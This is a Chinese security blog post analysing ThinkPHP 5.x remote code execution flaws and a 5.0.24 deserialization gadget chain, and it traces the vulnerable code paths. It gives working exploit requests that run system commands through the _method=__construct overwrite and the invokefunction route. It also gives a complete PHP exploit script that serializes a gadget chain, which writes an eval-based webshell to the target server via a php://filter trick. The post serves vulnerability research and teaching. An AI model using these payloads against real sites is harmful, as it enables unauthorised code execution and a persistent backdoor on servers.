抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

TP5.x两个类型的RCE总结&5.0.24反序列化

环境部署

以TP5.0.22为例 + PHP 5.6.27-NTS + phpstorm2020.1

反序列化环境为:TP5.0.24 + PHP 5.6.27-NTS + phpstorm2020.1

漏洞成因

现在TP的RCE通常将其分成两类:

  • Request类其中变量被覆盖导致RCE
  • 路由控制不严谨导致可以调用任意类致使RCE
  • 反序列化的应用(需要存在反序列化的地方)

Request类其中变量被覆盖导致RCE

我们以这个POC为例,进行复现:

我们正常的代码逻辑已经简单的写在了前文,如有代码执行疑惑请在前文寻找答案。

下面我们进行漏洞跟踪梳理

  • App:run()进行启动,进行到URL路由检测self::routeCheck($request, $config)
    • $request->path()获取到我们自带的兼容模式参数s
    • 进入路由检测Route::check($request, $path, $depr, $config['url_domain_deploy'])
      • 关键代码$method = strtolower($request->method())进入$request->method()看到在查找$_POST中是否有表单请求类型伪装变量(简单解释一下这个,就是form表单的method只能进行GET和POST请求,如果想进行别的请求例如put、delete可以使用这个伪装变量来进入到相应的路由进行处理)
        • 一个PHP经典可变函数进行相关的调用$this->{$this->method}($_POST),根据POC我们就进入到了 __construct ,这个东西是PHP魔术方法,进入到里面之后就可以将原先的数据覆盖成我们POST上去的数据,最后返回的是POST上去的method=get
    • 最终返回数据如下图所示并且赋值给$dispatch
    • 进入关键代码$data = self::exec($dispatch, $config)
      • 然后再次进入到回调方法中的Request::instance()->param(),继续跟踪到array_walk_recursive($data, [$this, 'filterValue'], $filter),这个函数解释如下:
      • 重要代码跟进,调用call_user_func($filter, $value)将其传入的$filter=system,$value=sysyteminfo
      • 最后返回的需要进行一次过滤,不过大致查看能发现过滤字符基本为SQL注入的过滤,不是RCE的类型
      • 现在再次回到call_user_func($filter, $value)因为最终你传入的是一个数组,第一个是需要执行的类型,后面是为null,因此会报错。
  • 最终进入到\thinkphp\library\think\exception\Handle.php的174行,$data['echo'] = ob_get_clean(),获取到前面未被赋值的命令执行的结果,从而随着报错页面一起发送给客户端从而达到回显的目的。

POC版本测试

需要captcha的method路由,如果存在其他method路由,也是可以将captcha换为其他

1
2
3
4
5
6
5.0~5.0.23(本人只测了023的完整版,那么猜测中间的版本也是通杀没有问题)
POST http://localhost/tp/public/index.php?s=captcha?s=captcha

_method=__construct&filter[]=system&method=GET&get[]=whoami

5.1.x低版本也可行请自行调试寻找

需要解释一些问题

这里简单提一下,我在复盘TP漏洞时看到先知社区一些疑问,已经在讨论区里发表了我的意见。这篇文章的讨论区,由于TP本身自带错误中断的机制,因此assert不会正常执行。

路由控制不严谨导致可以调用任意类致使RCE

我们以这个POC为例
http://localhost/tp/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()

正常代码逻辑已经梳理,请自行查看前文。
下面进行漏洞逻辑梳理

  • 进入路由$dispatch = self::routeCheck($request, $config),最终进入Route::parseUrl($path, $depr, $config['controller_auto_search']),通过分隔符替换从而将我们输入的pathinfo信息打散成数组: index|think\app|invokefunction,最终返回类似这样的数据
  • 进入$data = self::exec($dispatch, $config);将前面获得的调度信息传进去
    • 进入$data = self::module($dispatch['module'],$config,isset($dispatch['convert']) ? $dispatch['convert'] : null);
      • 一直跟踪到往下看,这句代码就是为什么我们要在pathinfo中首先要写 indexelseif (!in_array($module, $config['deny_module_list']) && is_dir(APP_PATH . $module))。这样能保证程序不报错中断并且使 $available=true
      • 分别将模块、控制器、操作将其赋值为我们所输入的 index think\app invokefunction
      • 进入Loader::controller进行控制类调用 Loader::getModuleAndClass 使得程序通过 invokeClass 返回我们所输入的类的实例
      • 进入到App::invokeMethod,反射出我们所输入的类的方法信息(ReflectionMethod),绑定我们输入的参数,进入$reflect->invokeArgs(isset($class) ? $class : null, $args)那么就可以调用我们所想调用的函数,参数也相应传入
  • 最后跟前面那个漏洞一样,我们所执行的结果会随着报错输出缓冲区一起显示出来。

POC版本测试

因为linux和win的环境不一样导致代码逻辑判断不一样因此需要自行寻找

1
2
3
4
5
5.0.x(具体自行测试)
http://localhost/tp/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()

5.1.x(具体自行测试,适合linux环境)
http://127.0.0.1/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

TP5.0.24反序列化利用链

先看看PHP的魔术方法

梳理反序列化利用链漏洞首先需要一个漏洞触发点,别问,问就是自己写:

我们发现在 thinkphp/library/think/process/pipes/Windows.php 中发现__destruct中存在removeFiles函数,并且在其中存在$this->filesfile_exists,那么我们通过可控的$this->files利用file_exists可以调用一些类的__toString方法,之后查看此方法在抽象类Model(thinkphp/library/think/Model.php),抽象类不能直接调用,因此需要找他的子类。我们可以找到Pivot(thinkphp/library/think/model/Pivot.php)进行调用

然后从toJson()->toArray(),我们看到$item[$key] = $value ? $value->getAttr($attr) : null
其中 $value->getAttr是我们利用__call魔术方法 的点,我们来梳理代码逻辑使之可以顺利执行这句代码。

  • $this->append可以控制,将其变成Model类的getError方法,然后跟进看到此方法存在$this->error,因此可以控制$this->$relation()
  • 进入到 getRelationData 进行一次判断,首先需要进入的是Relation类型的对象,并且要符合这个关键判断$this->parent && !$modelRelation->isSelfRelation() && get_class($modelRelation->getModel()) == get_class($this->parent) 才能让$value变成我们想要的东西
    • 首先传入的Relation对象是由$this->$relation()控制,我们可以找到HasOne(thinkphp/library/think/model/relation/HasOne.php)这个类是继承抽象类OneToOne(thinkphp/library/think/model/relation/OnToOne.php),然后OneToOne又继承自Relation,所以HasOne有着Relation的血脉才能进入getRelationData方法
    • $this->parent 是我们所要进入的__call魔术方法所在的类,这里我们选择的是Output类(thinkphp/library/think/console/Output)
    • $modelRelation->isSelfRelation() 看到$this->selfRelation,我们可以控制。
    • **get_class($modelRelation->getModel()) == get_class($this->parent))**,我们需要将最后Query的$this->model写成我们选择的Output类
  • 最后$this->parent赋值给$value,执行代码之后进入到Output类的__call方法

进入到__call,发现$this->styles我们可以控制那么就可以执行block方法,block调用writeln方法,writeln调用write方法,发现write方法中$this->handle->write($messages, $newline, $type)那么我们可以控制$this->handle,我们将其设置为Memcached类(thinkphp/library/think/session/driver/Mencached.php),然后进入到Memcached->write方法中看到Memcached也存在一个$this->handle,我们将其设置为File类(thinkphp/library/think/cache/driver/File.php)从而进入到File->set方法我们可以看到file_put_contents($filename, $data)其中的两个参数我们都可以控制

  • 首先传入的三个参数已经确定,其中$name,$expire我们可以控制,但是有用的就是$name
  • 发现写入的数据就是我们无法控制的$value,无法利用。我们不慌继续往下看,看到有一个$this->setTagItem($filename)我们看到此方法又调用一次set方法并且传入set的三个值我们都可以控制
  • 再一次进入set方法, 通过php伪协议可以绕过exit()的限制 ,就可以将危害代码写在服务器上了。

EXP

从网上找来的EXP,改了改关键的几个点,并且可以实现在Windows写文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
<?php
namespace think\process\pipes {
class Windows {
private $files = [];

public function __construct($files)
{
$this->files = [$files]; //$file => /think/Model的子类new Pivot(); Model是抽象类
}
}
}

namespace think {
abstract class Model{
protected $append = [];
protected $error = null;
public $parent;

function __construct($output, $modelRelation)
{
$this->parent = $output; //$this->parent=> think\console\Output;
$this->append = array("xxx"=>"getError"); //调用getError 返回this->error
$this->error = $modelRelation; // $this->error 要为 relation类的子类,并且也是OnetoOne类的子类==>>HasOne
}
}
}

namespace think\model{
use think\Model;
class Pivot extends Model{
function __construct($output, $modelRelation)
{
parent::__construct($output, $modelRelation);
}
}
}

namespace think\model\relation{
class HasOne extends OneToOne {

}
}
namespace think\model\relation {
abstract class OneToOne
{
protected $selfRelation;
protected $bindAttr = [];
protected $query;
function __construct($query)
{
$this->selfRelation = 0;
$this->query = $query; //$query指向Query
$this->bindAttr = ['xxx'];// $value值,作为call函数引用的第二变量
}
}
}

namespace think\db {
class Query {
protected $model;

function __construct($model)
{
$this->model = $model; //$this->model=> think\console\Output;
}
}
}
namespace think\console{
class Output{
private $handle;
protected $styles;
function __construct($handle)
{
$this->styles = ['getAttr'];
$this->handle =$handle; //$handle->think\session\driver\Memcached
}

}
}
namespace think\session\driver {
class Memcached
{
protected $handler;

function __construct($handle)
{
$this->handler = $handle; //$handle->think\cache\driver\File
}
}
}

namespace think\cache\driver {
class File
{
protected $options=null;
protected $tag;

function __construct(){
$this->options=[
'expire' => 3600,
'cache_subdir' => false,
'prefix' => '',
'path' => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php',
'data_compress' => false,
];
$this->tag = 'xxx';
}

}
}

namespace {
$Memcached = new think\session\driver\Memcached(new \think\cache\driver\File());
$Output = new think\console\Output($Memcached);
$model = new think\db\Query($Output);
$HasOne = new think\model\relation\HasOne($model);
$window = new think\process\pipes\Windows(new think\model\Pivot($Output,$HasOne));
echo serialize($window);
echo base64_encode(serialize($window));
}

POC效果演示图

参考链接

  1. https://xz.aliyun.com/search?keyword=thinkphp
  2. https://y4er.com/post/thinkphp5-rce/#method-__contruct%E5%AF%BC%E8%87%B4%E7%9A%84rce-%E5%90%84%E7%89%88%E6%9C%ACpayload
  3. https://www.kancloud.cn/zmwtp/tp5/119422
  4. https://www.anquanke.com/post/id/196364#h2-7

评论